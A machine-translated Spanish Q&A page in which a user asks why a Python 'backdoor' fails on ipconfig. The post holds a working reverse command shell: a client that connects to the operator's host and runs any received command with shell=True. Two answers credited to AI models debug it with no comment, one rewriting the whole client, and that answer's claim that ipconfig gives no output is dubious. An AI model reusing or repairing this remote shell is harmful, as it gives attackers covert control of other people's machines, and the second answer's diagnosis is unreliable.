Subproceso ÍndiceError: Ipconfig roto pero dir trabajando?
Tratando de ejecutar una puerta trasera con módulo de subproceso. Tener índice Error cuando ejecuto el comando ipconfig, pero dir comando working well, details below, any ideas?
Servidor
import socket
class Server:
def __init__(self, host, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((host, port))
sock.listen(0)
(self.connection, self.address) = sock.accept()
print(f"New connection from --> {self.address[0]}")
def command_execution(self, command_input):
self.connection.send(command_input)
return self.connection.recv(2048).decode()
def start(self):
while True:
command_input = input(">> ")
data = self.command_execution(command_input.encode())
print(data)
listener_one = Server("192.168.1.46", 8080)
listener_one.start()
Cliente
import socket
import subprocess
class Client:
def __init__(self, host, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((host, port))
def command_execution(self, command):
return subprocess.check_output(command, shell=True)
def start(self):
while True:
command = self.connection.recv(2048)
command_output = self.command_execution(command.decode())
self.connection.send(command_output.encode())
client_one = Client("192.168.1.46", 8080)
client_one.start()
Input on client --> python3 my_server.py
New connection from --> 192.168.1.38
>> ipconfig
Producto en servidor -- título
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\threading.py", line 932, in _bootstrap_inner
self.run()
File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\threading.py", line 870, in run
self._target(*self._args, **self._kwargs)
File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\subprocess.py", line 1366, in _readerthread
buffer.append(fh.read())
File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\encodings\cp1254.py", line 23, in decode
return codecs.charmap_decode(input,self.errors,decoding_table)[0]
UnicodeDecodeError: 'charmap' codec can't decode byte 0x8d in position 69: character maps to
Traceback (most recent call last):
File "C:/Users/burak/Desktop/Folders/FILES/scripts/scripts_1/my_client.py", line 21, in
client_one.start()
File "C:/Users/burak/Desktop/Folders/FILES/scripts/scripts_1/my_client.py", line 16, in start
command_output = self.command_execution(command.decode())
File "C:/Users/burak/Desktop/Folders/FILES/scripts/scripts_1/my_client.py", line 11, in command_execution
return subprocess.check_output(command, shell=True)
File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\subprocess.py", line 411, in check_output
return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\site-packages\run\__init__.py", line 168, in stdout
return std_output(self.process.communicate()[0])
File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\subprocess.py", line 1024, in communicate
stdout, stderr = self._communicate(input, endtime, timeout)
File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\subprocess.py", line 1416, in _communicate
stdout = stdout[0]
IndexError: list index out of range
Process finished with exit code 1
Pregunta hecha hace 3 años, 4 meses, 13 días - Por geekglitcher1735
2 Respuestas:
-
El error que estás experimentando se debe a un problema de codificación al decodificar la salida de la ejecución del comando en el cliente. El error específico es:
UnicodeDecodeError: 'charmap' codec can't decode byte 0x8d in position 69: character maps to
Para solucionar este problema, puedes intentar especificar una codificación con la que decodificar la salida del comando en el cliente. Puedes hacerlo modificando la función
command_execution
en la claseClient
de la siguiente manera:python def command_execution(self, command): return subprocess.check_output(command, shell=True, encoding='utf-8')
Al especificar
encoding='utf-8'
, estás indicando que la salida del comando se decodificará utilizando la codificación UTF-8.Una vez realizada esta modificación, vuelve a ejecutar el código y verifica si el problema se ha solucionado. Espero que esta solución te haya ayudado a resolver el error. ¡Déjame saber si tienes alguna otra pregunta!
Respondida el Dec 19, 2020 a las 00:25 - por Gpt
Votos positivos: 0 | Votos negativos: 0 -
El error "ÍndiceError: índice de lista fuera de rango" en tu código de Python indica que estás intentando acceder a un elemento de una lista que no existe. En este caso específico, el error ocurre en la línea
stdout = stdout[0]
dentro del método_communicate
del módulosubprocess
.El método
_communicate
se utiliza para capturar la salida estándar y el error estándar de un proceso secundario. En tu caso, el proceso secundario es el comandoipconfig
que estás intentando ejecutar.Cuando el método
_communicate
finaliza, devuelve una tupla que contiene dos elementos:stdout
: La salida estándar del proceso secundario como un objeto bytes.stderr
: El error estándar del proceso secundario como un objeto bytes.En tu código, estás intentando acceder al primer elemento de la tupla (
stdout
), que es la salida estándar del comandoipconfig
. Sin embargo, el objetostdout
está vacío porque el comandoipconfig
no produce ninguna salida estándar. Como resultado, estás intentando acceder a un índice que no existe en la lista y esto provoca el error "ÍndiceError: índice de lista fuera de rango".Para resolver este problema, puedes verificar si el objeto
stdout
está vacío antes de intentar acceder a su primer elemento. Aquí tienes un código modificado que soluciona el problema:Cliente:
python import socket import subprocess class Client: def __init__(self, host, port): self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.connection.connect((host, port)) def command_execution(self, command): try: command_output = subprocess.check_output(command, shell=True) return command_output.decode() except subprocess.CalledProcessError as e: return f"Error: {e.output.decode()}" def start(self): while True: command = self.connection.recv(2048) command_output = self.command_execution(command.decode()) self.connection.send(command_output.encode()) client_one = Client("192.168.1.46", 8080) client_one.start()
En el método
command_execution
, ahora capturamos cualquiersubprocess.CalledProcessError
que pueda ocurrir al ejecutar el comando. Si se produce un error, devolvemos el mensaje de error como una cadena para que el servidor pueda mostrarlo.Servidor:
No es necesario realizar cambios en el servidor.
Con estos cambios, el código debería funcionar como se espera y no debería producir el error "ÍndiceError: índice de lista fuera de rango" al ejecutar el comando
ipconfig
.Respondida el Dec 19, 2020 a las 00:35 - por Gemini
Votos positivos: 0 | Votos negativos: 0